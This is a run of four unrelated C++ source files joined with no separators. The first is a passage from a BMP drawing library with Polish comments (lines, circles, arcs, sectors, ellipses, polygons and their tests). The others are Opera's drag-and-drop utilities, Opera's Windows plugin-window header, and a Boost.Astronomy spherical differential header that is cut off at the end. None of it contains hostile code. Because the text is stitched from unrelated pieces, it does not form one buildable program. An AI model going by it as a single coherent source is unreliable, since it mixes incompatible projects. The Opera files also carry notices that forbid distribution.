P, Colour clr){ if(in(0, P.x, (int)bitmap.getWidth()+1) && in(0, P.y, (int)bitmap.getHeight()+1)) bitmap.setPixel(P.x, P.y, clr.r, clr.g, clr.b); } //************************************************************ // Linia. // W oparciu o algorytm Bresenhama. // https://gist.github.com/bert/1085538 void drawLine (JiMP2::BMP &bitmap, Point A, Point B, Colour clr) { int dx = abs (B.x - A.x), sx = A.x < B.x ? 1 : -1, dy = -abs (B.y - A.y), sy = A.y < B.y ? 1 : -1; int err = dx + dy, e2; while(true){ safeDrawPoint(bitmap, A, clr); if(A.x == B.x && A.y == B.y) break; e2 = 2*err; if(e2 >= dy){ err += dy; A.x += sx; } if(e2 <= dx){ err += dx; A.y += sy; } } } //************************************************************ // Okrag. // https://en.wikipedia.org/wiki/Midpoint_circle_algorithm void drawCircle(JiMP2::BMP &bitmap, Point S, uint16_t r, Colour clr){ int dx = 1, dy = 1; int x = r-1, y = 0, err = dx - (r << 1); while(x >= y){ safeDrawPoint(bitmap, {S.x+x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x+y, S.y+x}, clr); safeDrawPoint(bitmap, {S.x-y, S.y+x}, clr); safeDrawPoint(bitmap, {S.x-x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x-x, S.y-y}, clr); safeDrawPoint(bitmap, {S.x-y, S.y-x}, clr); safeDrawPoint(bitmap, {S.x+y, S.y-x}, clr); safeDrawPoint(bitmap, {S.x+x, S.y-y}, clr); if(err <= 0){ ++y; err += dy; dy += 2; } if(err > 0){ --x; dx += 2; err += dx - (r << 1); } } } //************************************************************ // Kolo. // https://en.wikipedia.org/wiki/Midpoint_circle_algorithm void drawDisk(JiMP2::BMP &bitmap, Point S, uint16_t r, Colour clr){ int dx = 1, dy = 1; int x = r-1, y = 0, err = dx - (r << 1); while(x >= y){ drawLine(bitmap, {S.x-y, S.y-x}, {S.x+y, S.y-x}, clr); drawLine(bitmap, {S.x-y, S.y+x}, {S.x+y, S.y+x}, clr); drawLine(bitmap, {S.x-x, S.y-y}, {S.x+x, S.y-y}, clr); drawLine(bitmap, {S.x-x, S.y+y}, {S.x+x, S.y+y}, clr); if(err <= 0){ ++y; err += dy; dy += 2; } if(err > 0){ --x; dx += 2; err += dx - (r << 1); } } } //************************************************************ // Wycinek okregu - luk. void drawArc(JiMP2::BMP &bitmap, Point S, uint16_t r, fp_t alfa1, fp_t alfa2, Colour clr){ alfa1 = std::min(alfa1, alfa2); alfa2 = std::max(alfa1, alfa2); fp_t a1 = deg2Rad(alfa1), a2 = deg2Rad(alfa2); int dx=1, dy=1; int x = r-1, y = 0, err = dx - (r << 1); struct{ int y_min = {0}, y_max = {0}; } q1, q2, q3, q4; // I cwiartka. if(isInFirstQuarter(alfa1, alfa2)){ q1.y_max = S.y - r*sin(a1); q1.y_min = (alfa2 < 90.0f) ? (S.y - r*sin(a2)) : (S.y - r); } // II cwiartka. if(isInSecondQuarter(alfa1, alfa2)){ q2.y_max = (alfa2 < 180.0f) ? (S.y - r*sin(a2)) : S.y; q2.y_min = (alfa1 > 90.0f) ? (S.y - r*sin(a1)) : (S.y - r); } // III cwiartka. if(isInThirdQuarter(alfa1, alfa2)){ q3.y_max = (alfa2 < 270.0f) ? (S.y - r*sin(a2)) : (S.y + r); q3.y_min = (alfa1 > 180.0f) ? (S.y - r*sin(a1)) : S.y; } // IV cwiartka. if(isInFourthQuarter(alfa1, alfa2)){ q4.y_max = (alfa1 > 270.0f) ? (S.y - r*sin(a1)) : (S.y + r); q4.y_min = S.y - r*sin(a2); } while(x >= y){ // I if(in(q1.y_min, uint16_t(S.y-x), q1.y_max)) safeDrawPoint(bitmap, {S.x+y, S.y-x}, clr); if(in(q1.y_min, uint16_t(S.y-y), q1.y_max)) safeDrawPoint(bitmap, {S.x+x, S.y-y}, clr); // II if(in(q2.y_min, uint16_t(S.y-y), q2.y_max)) safeDrawPoint(bitmap, {S.x-x, S.y-y}, clr); if(in(q2.y_min, uint16_t(S.y-x), q2.y_max)) safeDrawPoint(bitmap, {S.x-y, S.y-x}, clr); // III if(in(q3.y_min, uint16_t(S.y+x), q3.y_max)) safeDrawPoint(bitmap, {S.x-y, S.y+x}, clr); if(in(q3.y_min, uint16_t(S.y+y), q3.y_max)) safeDrawPoint(bitmap, {S.x-x, S.y+y}, clr); // IV if(in(q4.y_min, uint16_t(S.y+y), q4.y_max)) safeDrawPoint(bitmap, {S.x+x, S.y+y}, clr); if(in(q4.y_min, uint16_t(S.y+x), q4.y_max)) safeDrawPoint(bitmap, {S.x+y, S.y+x}, clr); if(err <= 0){ ++y; err += dy; dy += 2; } if(err > 0){ --x; dx += 2; err += dx - (r << 1); } } } //************************************************************ // Wycinek kola. void drawCircularSector(JiMP2::BMP &bitmap, Point S, uint16_t r, fp_t alfa1, fp_t alfa2, Colour clr){ alfa1 = std::min(alfa1, alfa2); alfa2 = std::max(alfa1, alfa2); fp_t a1 = deg2Rad(alfa1); fp_t a2 = deg2Rad(alfa2); int y; if(isInFirstQuarter(alfa1, alfa2)){ Point U(S.x + r*cos(a1), S.y - r*sin(a1)); Point V((alfa2 < 90.0f) ? (S.x + r*cos(a2)) : S.x, (alfa2 < 90.0f) ? (S.y - r*sin(a2)) : (S.y - r)); // V.x < U.x; V.y < U.y for(y = V.y; y <= U.y; ++y){ Point P(linearInterpolation(S, V, y), y); Point Q(S.x + sqrt(r*r - squared(y-S.y)), y); drawLine(bitmap, P, Q, clr); } for(; y <= S.y; ++y){ Point P(linearInterpolation(S, V, y), y); Point R(linearInterpolation(S, U, y), y); drawLine(bitmap, P, R, clr); } } if(isInSecondQuarter(alfa1, alfa2)){ Point U( (alfa1 >= 90.0f) ? (S.x + r*cos(a1)) : S.x, (alfa1 >= 90.0f) ? (S.y - r*sin(a1)) : (S.y-r) ); Point V( (alfa2 < 180.0f) ? (S.x + r*cos(a2)) : (S.x-r), (alfa2 < 180.0f) ? (S.y - r*sin(a2)) : S.y ); // V.x < U.x; V.y > U.y for(y = U.y; y <= V.y; ++y){ Point P(linearInterpolation(S, U, y), y); Point Q(S.x - sqrt(r*r - squared(y-S.y)), y); drawLine(bitmap, P, Q, clr); } for(; y <= S.y; ++y){ Point P(linearInterpolation(S, U, y), y); Point R(linearInterpolation(S, V, y), y); drawLine(bitmap, P, R, clr); } } if(isInThirdQuarter(alfa1, alfa2)){ Point U( (alfa1 >= 180.0f) ? (S.x + r*cos(a1)) : (S.x-r), (alfa1 >= 180.0f) ? (S.y - r*sin(a1)) : S.y ); Point V( (alfa2 < 270.0f) ? (S.x + r*cos(a2)) : S.x, (alfa2 < 270.0f) ? (S.y - r*sin(a2)) : (S.y+r) ); // V.x > U.x; V.y > U.y for(y = V.y; y >= U.y; --y){ Point P(linearInterpolation(V, S, y), y); Point Q(S.x - sqrt(r*r - squared(y-S.y)), y); drawLine(bitmap, P, Q, clr); } for(; y >= S.y; --y){ Point P(linearInterpolation(V, S, y), y); Point R(linearInterpolation(U, S, y), y); drawLine(bitmap, P, R, clr); } } if(isInFourthQuarter(alfa1, alfa2)){ Point U( (alfa1 >= 270.0f) ? (S.x + r*cos(a1)) : S.x, (alfa1 >= 270.0f) ? (S.y - r*sin(a1)) : (S.y+r) ); Point V( S.x + r*cos(a2), S.y - r*sin(a2) ); // V.x > U.x; U.y > V.y for(y = U.y; y >= V.y; --y){ Point P(linearInterpolation(U, S, y), y); Point Q(S.x + sqrt(r*r - squared(y-S.y)), y); drawLine(bitmap, P, Q, clr); } for(; y >= S.y; --y){ Point P(linearInterpolation(U, S, y), y); Point R(linearInterpolation(V, S, y), y); drawLine(bitmap, P, R, clr); } } } //************************************************************ void drawEllipse(JiMP2::BMP &bitmap, Point S, uint16_t a, uint16_t b, Colour clr){ int x=0, y=b; int p = squared(b) - squared(a)*b + squared(a)/4; while(x*squared(b) < y*squared(a)){ safeDrawPoint(bitmap, {S.x+x, S.y-y}, clr); safeDrawPoint(bitmap, {S.x-x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x+x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x-x, S.y-y}, clr); ++x; if(p<0) p += squared(b)*(2*x + 1); else{ --y; p += squared(b)*(2*x + 1) - 2*y*squared(a); } } p = squared((x + 0.5) * b) + squared((y - 1) * a) - squared(a*b); while(y >= 0){ safeDrawPoint(bitmap, {S.x+x, S.y-y}, clr); safeDrawPoint(bitmap, {S.x-x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x+x, S.y+y}, clr); safeDrawPoint(bitmap, {S.x-x, S.y-y}, clr); --y; if(p > 0) p -= squared(a) * (2*y + 1); else{ ++x; p += 2*x*squared(b) - squared(a)*(2*y + 1); } } } //************************************************************ // Prostokat. // Naiwna implementacja. void drawRectangle(JiMP2::BMP &bitmap, Point A, Point B, Colour clr){ drawLine(bitmap, A, {B.x, A.y}, clr); drawLine(bitmap, A, {A.x, B.y}, clr); drawLine(bitmap, {B.x, A.y}, B, clr); drawLine(bitmap, {A.x, B.y}, B, clr); } //************************************************************ // Wielokat foremny. // Naiwna implementacja. void drawRegularPolygon(JiMP2::BMP &bitmap, Point S, int n, fp_t side_length, Colour clr){ if(n < 3 || side_length <= 0.0) throw DrawingException(); fp_t phi = 2*M_PI / n; fp_t radius = side_length / sqrt(2 * (1 - cos(phi))); //z twierdzenia cosinusow Point p1(S.x, S.y - radius); for(int i = 1; i <= n; ++i){ Point p2( S.x - radius*sin(i*phi), //cos(i*phi), S.y - radius*cos(i*phi) //sin(i*phi) ); drawLine(bitmap, p1, p2, clr); p1 = p2; } } ////////////////////////////////////////////////////////////// void lineTest(){ JiMP2::BMP bmp(imgWidth, imgHeight); const Colour clr{0, 0, 128}; const Colour clr1{192, 32, 32}; const int S = 500; //duza wartosc, by linie wykraczaly za bitmape const int mx = imgWidth/2; const int my = imgHeight/2; const Point center = {mx, my}; drawLine(bmp, center, {mx+S, my}, clr); drawLine(bmp, center, {mx, my-S}, clr); drawLine(bmp, center, {mx-S, my}, clr); drawLine(bmp, center, {mx, my+S}, clr); for(float a = 25.0f; a < 360.0f; a += 25.0f) drawLine(bmp, center, Point(mx + S*cos(deg2Rad(a)), my + S*sin(deg2Rad(a))), clr); std::ofstream writer("line.bmp", std::ofstream::binary); writer << bmp; } void circleDiskTest(){ JiMP2::BMP bmp(imgWidth, imgHeight); const int r = 100; Colour c1{128, 0, 255}; drawCircle(bmp, {r, r}, r, c1); drawCircle(bmp, {0, imgHeight}, r, c1); drawCircle(bmp, {-5, imgHeight+5}, r, c1); for(int i=0; i!=5; ++i) drawCircle(bmp, {3*r, -25*i}, r, c1); drawDisk(bmp, {r, 3*r}, r, c1); drawDisk(bmp, {r, 7*r}, 3*r, {0, 0, 0}); std::ofstream writer("circledisk.bmp", std::ofstream::binary); writer << bmp; } void arcSectorTest(){ const uint16_t w = 800, h = 600; JiMP2::BMP bmp(w, h); Colour black{0, 0, 0}, blue{64, 64, 128}; int r = 50; for(int i=0; i<6; ++i) drawArc(bmp, {50+105*i, 50}, r, 30*i, 360-30*i, black); for(int i=0; i<4; ++i) drawArc(bmp, {50, 150}, r, 30+90*i, 60+90*i, black); for(int i=0; i<6; ++i) drawArc(bmp, {150+105*i, 150}, r, 0, 50*(1+i), black); for(int i=0; i<8; ++i) drawCircularSector(bmp, {50+2*r*i, 350}, r, 20*i, 360-20*i, blue); for(int i=0; i<8; ++i) drawCircularSector(bmp, {50+2*r*i, 350+3*r}, r, 40*i, 40*(i+1), blue); std::ofstream writer("arcsector.bmp", std::ofstream::binary); writer << bmp; } void ellipseTest(){ const uint16_t w = 800, h = 600; JiMP2::BMP bmp(w, h); const Point mid{w/2, h/2}; drawEllipse(bmp, mid, w/2, h/2, {0, 0, 0}); drawEllipse(bmp, mid, w/3, h/3, {50, 50, 50}); drawEllipse(bmp, mid, w/4, h/4, {100, 100, 100}); drawEllipse(bmp, mid, w/6, h/6, {150, 150, 150}); drawEllipse(bmp, mid, w/9, h/9, {200, 200, 200}); drawEllipse(bmp, mid, 100, 100, {192, 0, 0}); drawEllipse(bmp, mid, 100, 200, {192, 0, 0}); drawEllipse(bmp, mid, 100, 400, {192, 0, 0}); std::ofstream writer("ellipse.bmp", std::ofstream::binary); writer << bmp; } void polygonTest(){ const uint16_t w = 800, h = 600; JiMP2::BMP bmp(w, h); drawRectangle(bmp, {220, 220}, {120, 420}, {0, 0, 0}); drawRectangle(bmp, {-100, -100}, {300, 200}, {0, 0, 192}); drawRectangle(bmp, {600, 50}, {300, 200}, {0, 168, 0}); drawRegularPolygon(bmp, {400, 400}, 10, 100, {96, 0, 96}); drawRegularPolygon(bmp, {400, 400}, 8, 90, {144, 144, 0}); drawRegularPolygon(bmp, {400, 400}, 6, 80, {192, 0, 0}); drawRegularPolygon(bmp, {400, 400}, 4, 60, {0, 192, 0}); drawRegularPolygon(bmp, {400, 400}, 3, 40, {0, 0, 192}); std::ofstream writer("polygon.bmp", std::ofstream::binary); writer << bmp; } //************************************************************
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4; c-file-style: "stroustrup" -*- ** ** Copyright (C) 1995-2012 Opera Software AS. All rights reserved. ** ** This file is part of the Opera web browser. It may not be distributed ** under any circumstances. */ #include "core/pch.h" #if defined DRAG_SUPPORT || defined USE_OP_CLIPBOARD # include "modules/pi/OpDragObject.h" # include "modules/dragdrop/dragdrop_data_utils.h" # include "modules/viewers/viewers.h" /* static */ BOOL DragDrop_Data_Utils::HasFiles(OpDragObject* object) { OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (iter.IsFileData()) return TRUE; } while (iter.Next()); } return FALSE; } /* static */ OP_STATUS DragDrop_Data_Utils::AddURL(OpDragObject* object, URL& url) { TempBuffer result; OpString url_str; RETURN_IF_ERROR(url.GetAttribute(URL::KUniName_With_Fragment_Username_Password_Hidden, url_str)); return AddURL(object, url_str); } /* static */ OP_STATUS DragDrop_Data_Utils::AddURL(OpDragObject* object, OpStringC url_str) { if(url_str.IsEmpty()) return OpStatus::ERR; TempBuffer result; const uni_char* current_url = GetStringData(object, URI_LIST_DATA_FORMAT); if (current_url) { if (uni_strstr(current_url, url_str.CStr())) return OpStatus::OK; RETURN_IF_ERROR(result.AppendFormat(UNI_L("%s%s\r\n"), current_url, url_str.CStr())); } else RETURN_IF_ERROR(result.AppendFormat(UNI_L("%s\r\n"), url_str.CStr())); return object->SetData(result.GetStorage(), URI_LIST_DATA_FORMAT, FALSE, TRUE); } /* static */ OP_STATUS DragDrop_Data_Utils::SetText(OpDragObject* object, const uni_char* text) { return object->SetData(text, TEXT_DATA_FORMAT, FALSE, TRUE); } /* static */ OP_STATUS DragDrop_Data_Utils::SetDescription(OpDragObject* object, const uni_char* description) { return object->SetData(description, DESCRIPTION_DATA_FORMAT, FALSE, TRUE); } static BOOL ResolveFilesTypesSafe(OpDragObject* object) { OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { const uni_char* real_format = iter.GetMimeType(); /* If the type of the data is equal to the special opera file type i.e. it's unknown try to find out a proper file's format. */ if (iter.IsFileData() && uni_stri_eq(real_format, FILE_DATA_FORMAT)) { OpString real_type_utf16; const OpFile* file = iter.GetFileData(); const uni_char* name = file->GetName(); const uni_char* period = uni_strrchr(name, '.'); if (period) { const char* real_type = Viewers::GetDefaultContentTypeStringFromExt(period + 1); OpStatus::Ignore(real_type_utf16.SetFromUTF8(real_type)); real_format = real_type_utf16.CStr() ? real_type_utf16.CStr() : UNI_L("application/octet-stream"); } else real_format = UNI_L("application/octet-stream"); // Set the known mime type. if (OpStatus::IsSuccess(object->SetData(file->GetFullPath(), real_format, TRUE, FALSE))) { iter.Remove(); return TRUE; // Start over to be more independent on the iterator implementation i.e. better be slower but safer. } } } while (iter.Next()); } return FALSE; } static void ResolveFilesTypes(OpDragObject* object) { BOOL continue_resolving = FALSE; do { continue_resolving = ResolveFilesTypesSafe(object); } while (continue_resolving); } /* static */ BOOL DragDrop_Data_Utils::HasData(OpDragObject* object, const uni_char* format, BOOL is_file /* = FALSE */) { if (is_file) ResolveFilesTypes(object); OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (uni_str_eq(iter.GetMimeType(), format) && is_file == iter.IsFileData()) return TRUE; } while (iter.Next()); } return FALSE; } /* static */ const uni_char* DragDrop_Data_Utils::GetStringData(OpDragObject* object, const uni_char* format) { OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (uni_str_eq(iter.GetMimeType(), format) && iter.IsStringData()) return iter.GetStringData(); } while (iter.Next()); } return NULL; } /* static */ const OpFile* DragDrop_Data_Utils::GetFileData(OpDragObject* object, const uni_char* format) { ResolveFilesTypes(object); OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (uni_str_eq(iter.GetMimeType(), format) && iter.IsFileData()) return iter.GetFileData(); } while (iter.Next()); } return NULL; } /* static */ OP_STATUS DragDrop_Data_Utils::GetURL(OpDragObject* object, TempBuffer* url, BOOL only_first /* = TRUE */) { url->Clear(); OpString data; RETURN_IF_ERROR(data.Set(GetStringData(object, URI_LIST_DATA_FORMAT))); if (only_first) { uni_char* data_ptr = data.DataPtr(); if (data_ptr && *data_ptr) { uni_char* new_line = uni_strstr(data_ptr, UNI_L("\r\n")); while (new_line) { // Strip leading white spaces. data_ptr += uni_strspn(data_ptr, UNI_L(" \t\f\v")); if (data_ptr[0] != '#') { *new_line = 0; break; } else data_ptr = new_line + 2; new_line = uni_strstr(data_ptr, UNI_L("\r\n")); } if (data_ptr[0] == '#') data_ptr = NULL; else { // Skip trailing whitespaces. size_t ws = uni_strcspn(data_ptr, UNI_L(" \t\f\v")); data_ptr[ws] = 0; } RETURN_IF_ERROR(url->Append(data_ptr)); } } else RETURN_IF_ERROR(url->Append(data.CStr())); return OpStatus::OK; } class UrlsCleaner { OpVector<OpString>* m_urls; public: UrlsCleaner(OpVector<OpString>* urls) : m_urls(urls) {} ~UrlsCleaner() { if (m_urls) m_urls->DeleteAll(); } void Release() { m_urls = NULL; } }; /* static */ OP_STATUS DragDrop_Data_Utils::GetURLs(OpDragObject* object, OpVector<OpString> &urls) { urls.DeleteAll(); OpString data; RETURN_IF_ERROR(data.Set(GetStringData(object, URI_LIST_DATA_FORMAT))); uni_char* data_ptr = data.DataPtr(); if (data_ptr && *data_ptr) { UrlsCleaner cleaner(&urls); uni_char* new_line = uni_strstr(data_ptr, UNI_L("\r\n")); while (new_line) { OpString* new_str = OP_NEW(OpString, ()); RETURN_OOM_IF_NULL(new_str); OpAutoPtr<OpString> ap_str(new_str); RETURN_IF_ERROR(new_str->Set(data_ptr, new_line - data_ptr)); new_str->Strip(); if (new_str->DataPtr()[0] != '#') { RETURN_IF_ERROR(urls.Add(new_str)); ap_str.release(); } data_ptr = new_line + 2; new_line = uni_strstr(data_ptr, UNI_L("\r\n")); } cleaner.Release(); } return OpStatus::OK; } /* static */ void DragDrop_Data_Utils::ClearStringData(OpDragObject* object, const uni_char* format) { OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (uni_str_eq(iter.GetMimeType(), format) && iter.IsStringData()) iter.Remove(); } while (iter.Next()); } } /* static */ void DragDrop_Data_Utils::ClearFileData(OpDragObject* object, const uni_char* format) { ResolveFilesTypes(object); OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (uni_str_eq(iter.GetMimeType(), format) && iter.IsFileData()) iter.Remove(); } while (iter.Next()); } } /* static */ OP_STATUS DragDrop_Data_Utils::DOMGetFormats(OpDragObject* object, OpVector<OpString>& formats) { BOOL file_entry_added = FALSE; OpDragDataIterator& iter = object->GetDataIterator(); if (iter.First()) { do { if (iter.IsFileData() && file_entry_added) continue; OpString* format_str = OP_NEW(OpString, ()); RETURN_OOM_IF_NULL(format_str); OpAutoPtr<OpString> ap_format(format_str); if (iter.IsFileData()) { OP_ASSERT(!file_entry_added); RETURN_IF_ERROR(format_str->Set(UNI_L("Files"))); file_entry_added = TRUE; } else RETURN_IF_ERROR(format_str->Set(iter.GetMimeType())); RETURN_IF_ERROR(formats.Add(format_str)); ap_format.release(); } while (iter.Next()); } return OpStatus::OK; } #endif // DRAG_SUPPORT || USE_OP_CLIPBOARD
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- ** ** Copyright (C) 1995-2011 Opera Software ASA. All rights reserved. ** ** This file is part of the Opera web browser. It may not be distributed ** under any circumstances. ** */ #ifndef WINDOWS_OPPLUGINWINDOW_H #define WINDOWS_OPPLUGINWINDOW_H #ifndef NS4P_COMPONENT_PLUGINS # include "platforms/windows/pi/WindowsOpPluginWindowLegacy.h" #else // NS4P_COMPONENT_PLUGINS #include "modules/ns4plugins/src/plugin.h" #include "modules/pi/OpPluginWindow.h" #include "platforms/windows/windows_ui/hash_tables.h" #include "platforms/windows_common/pi_impl/pluginwindow.h" typedef struct { uint32 left; uint32 top; uint32 right; uint32 bottom; } NPRect32; class OpWindowsPlatformEvent; class WindowsOpPluginWindow : public OpPluginWindow { public: WindowsOpPluginWindow(); ~WindowsOpPluginWindow(); OP_STATUS Construct(const OpRect &rect, int scale, OpView* parent, BOOL windowless = FALSE); /** Reparent plugin window to another window. */ void ReparentPluginWindow(); /** Check if given hwnd is one of existing plugin windows. */ static WindowsOpPluginWindow* GetPluginWindowFromHWND(HWND hwnd, BOOL search_children = FALSE); /** Called when loading (some) libraries. Library will not nessacary be * a plugin but in general most other libraries are loaded from system * directory and will not trigger this call. * * @param hModule pointer to loaded module. * @param path to the plugin library (should be full file path). */ static void OnLibraryLoaded(HMODULE hModule, const uni_char* path); #ifdef _PLUGIN_SUPPORT_ static BOOL PluginRegClassDef(HINSTANCE hInstance); #endif // _PLUGIN_SUPPORT_ static LRESULT CALLBACK PluginStaticWinProc( HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); /** Check if plugin is windowles. */ BOOL IsWindowless() const { return m_windowless; } #ifdef MANUAL_PLUGIN_ACTIVATION /** Get listener of plugin window. */ OpPluginWindowListener* GetListener() { return m_listener; } #endif // MANUAL_PLUGIN_ACTIVATION WindowsPluginNativeWindow* GetNativeWindow() { return m_hwnd_view; } OpView* GetParentView() const { return m_parent_view; } #ifdef NS4P_COMPONENT_PLUGINS UINT64 GetWindowIdentifier() {return reinterpret_cast<UINT64> (m_hwnd);} #endif // NS4P_COMPONENT_PLUGINS /* Implement OpPluginWindow. */ virtual void Show(); virtual void Hide(); virtual void SetPos(int x, int y); virtual void SetSize(int w, int h); virtual void* GetHandle(); /** * Set activation state. * * There are differences in how windowed and windowless plugins are activated. * * For windowed, platform blocks events targeted at plugin window. * The actual plugin wrapperwindow gets disabled so that this plugin * window gets mouse (and keyboard) events itself. * * For windowless, plugin gets activated when platform's CreateMouseEvent * gets a call from core to handle mouseup event. Core won't send events * until it gets mousedown event from DOM. Platform activates plugin from * first mouse up event that it gets from core. */ virtual void BlockMouseInput(BOOL block); virtual BOOL IsBlocked() { return m_input_blocked; } /** Set listener for plugin window. */ virtual void SetListener(OpPluginWindowListener* listener) { m_listener = listener; } #ifdef NS4P_SILVERLIGHT_WORKAROUND /** Invalidate windowed plugin window directly. Required by Silverlight. */ virtual void InvalidateWindowed(const OpRect& rect); #endif // NS4P_SILVERLIGHT_WORKAROUND virtual void SetPluginObject(Plugin* plugin) { m_plugin = plugin; } /** Detach the window. */ virtual void Detach(); /** DEPRECATED @{ */ virtual BOOL UsesDirectPaint() const { return FALSE; } virtual OP_STATUS PaintDirectly(const OpRect& rect) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS CreateMouseEvent(OpPlatformEvent** mouse_event, OpPluginEventType event_type, const OpPoint& point, int button_or_delta, ShiftKeyState modifiers) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS CreatePaintEvent(OpPlatformEvent** event, class OpPainter* painter, const OpRect& paint_rect) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS CreateKeyEvent(OpPlatformEvent** key_event, OpKey::Code key, const uni_char *key_value, OpPlatformKeyEventData *key_event_data, OpPluginKeyState key_state, OpKey::Location location, ShiftKeyState modifiers) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS CreateFocusEvent(OpPlatformEvent** focus_event, BOOL focus_in) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS CreateWindowPosChangedEvent(OpPlatformEvent** pos_event) { return OpStatus::ERR_NOT_SUPPORTED; } virtual unsigned int CheckPaintEvent(){ return 0; } virtual OP_STATUS ConvertPoint(double sourceX, double sourceY, int sourceSpace, double* destX, double* destY, int destSpace) { return OpStatus::ERR_NOT_SUPPORTED; } virtual OP_STATUS PopUpContextMenu(void* menu) { return OpStatus::ERR_NOT_SUPPORTED; } /** @} */ /** Send an event to the plug-in window. Only used for windowed plug-ins. */ virtual BOOL SendEvent(OpPlatformEvent* event) { return FALSE; } static OpWindowsPointerHashTable<const HWND, WindowsOpPluginWindow *> s_plugin_windows; static BOOL CALLBACK EnumChildWindowsProc(HWND hwnd, LPARAM lParam); private: Plugin* m_plugin; HWND m_hwnd; HWND m_plugin_wrapper_window; ///> For windowed plugins, HWND of the corresponding plugin window in the wrapper WindowsPluginNativeWindow* m_hwnd_view; OpView* m_parent_view; BOOL m_windowless; #ifdef MANUAL_PLUGIN_ACTIVATION OpPluginWindowListener* m_listener; ///< set the plugin's window listener, used when ignoring mouse event in blocked state BOOL m_input_blocked; #endif // MANUAL_PLUGIN_ACTIVATION }; #endif // NS4P_COMPONENT_PLUGINS /** OpWindowsPlatformKeyEventData is the windows representation of event data required for reconstructing platform key events. */ class OpWindowsPlatformKeyEventData : public OpPlatformKeyEventData { public: OpWindowsPlatformKeyEventData(WPARAM wParam, LPARAM lParam) : wParam(wParam) , lParam(lParam) , ref_count(1) { } virtual ~OpWindowsPlatformKeyEventData() { } virtual void GetPluginPlatformData(UINT64& data1, UINT64& data2) { data1 = wParam; data2 = lParam; } WPARAM wParam; LPARAM lParam; unsigned ref_count; }; #endif // WINDOWS_OPPLUGINWINDOW_H
#ifndef BOOST_ASTRONOMY_COORDINATE_SPHERICAL_DIFFERENTIAL_HPP #define BOOST_ASTRONOMY_COORDINATE_SPHERICAL_DIFFERENTIAL_HPP #include <tuple> #include <boost/geometry/core/cs.hpp> #include <boost/geometry/geometries/point.hpp> #include <boost/geometry/algorithms/transform.hpp> #include <boost/geometry/algorithms/equals.hpp> #include <boost/static_assert.hpp> #include <boost/astronomy/detail/is_base_template_of.hpp> #include <boost/astronomy/coordinate/base_differential.hpp> #include <boost/astronomy/coordinate/cartesian_differential.hpp> namespace boost { namespace astronomy { namespace coordinate { //!Represents the differential in spherical representation //!Uses three components to represent a differential (dlatitude, dlongitude, ddistance) template <typename DegreeOrRadian> struct spherical_differential : public boost::astronomy::coordinate::base_differential <3, boost::geometry::cs::spherical<DegreeOrRadian>> { public: //default constructor no initialization spherical_differential() {} //!constructs object from provided value of differential (dlatitude, dlongitude, ddistance) spherical_differential(double dlat, double dlon, double ddistance) { boost::geometry::set<0>(this->diff, dlat); boost::geometry::set<1>(this->diff, dlon); boost::geometry::set<2>(this->diff, ddistance); } //!constructs object from boost::geometry::model::point object template<std::size_t DimensionCount, typename System> spherical_differential(boost::geometry::model::point<double, DimensionCount, System> const& pointObject) { boost::geometry::model::point<double, 3, boost::geometry::cs::cartesian> temp; boost::geometry::transform(pointObject, temp); boost::geometry::transform(temp, this->diff); } //copy constructor spherical_differential(spherical_differential<DegreeOrRadian> const& other) { this->diff = other.get_differential(); } //!constructs object from any type of differential template <typename Differential> spherical_differential(Differential const& other) { BOOST_STATIC_ASSERT_MSG((boost::astronomy::detail::is_base_template_of <boost::astronomy::coordinate::base_differential, Differential>::value), "No constructor found with given argument type"); boost::geometry::model::point<double, 3, boost::geometry::cs::cartesian> temp; boost::geometry::transform(other.get_differential(), temp); boost::geometry::transform(temp, this->diff); } //! returns the (dlat, dlon, ddistance) in the form of tuple std::tuple<double, double, double> get_dlat_dlon_ddist() const { return std::make_tuple(boost::geometry::get<0>(this->diff), boost::geometry::get<1>(this->diff), boost::geometry::get<2>(this->diff)); } //!returns the dlat component of differential double get_dlat() const { return boost::geometry::get<0>(this->diff); } //!returns the dlon component of differential double get_dlon() const { return boost::geometry::get<1>(this->diff); } //!returns the ddistance component of differential double get_ddist() const { return boost::geometry::get<2>(this->diff); } //!set value of (dlat, dlon, ddistance) in current object void set_dlat_dlon_ddist(double dlat, double dlon, double ddistance) { boost::geometry::set<0>(this->diff, dlat); boost::geometry::set<1>(this->diff, dlon); boost::geometry::set<2>(this->diff, ddistance); } //!set value of dlat component of differential void set_dlat(double dlat) { boost::geometry::set<0>(this->diff, dlat); } //!set value of dlon component of differential void set_dlon(double dlon) { boost::geometry::set<1>(this->diff, dlon); } //!set value of ddistance component of differential void set_ddist(double ddistance) { boost::geometry::set<2>(this->diff, ddistance); } boost::astronomy::coordinate::spherical_differential<DegreeOrRadian> operator +(boost::astronomy::coordinate::spherical_differential<DegreeOrRadian> const& diff) const { boost::astronomy::coordinate::spherical_differential<DegreeOrRadian> temp(this->diff); temp.set_dlat(temp.get_dlat() + diff.get_dlat()); temp.set_dlon(temp.get_dlon() + diff.get_dlon()); temp.set_ddist(temp.get_ddist() + diff.get_ddist()); return temp; } boost::astronomy::coordinate::spherical_differential<DegreeOrRadian> operator *(double multiplier) const { boost::astronomy::coordinate::spherical_differential<DegreeOrRadian> temp(this->diff); temp.set_dlat(temp.get_dlat() * multiplier); temp.set_dlon(temp.get_dlon() * multiplier); temp.set_ddist(temp.get_ddist() * multiplier); return temp; } }; }//namespace coordinate } //namespace astronomy } //namespace boost #endif // 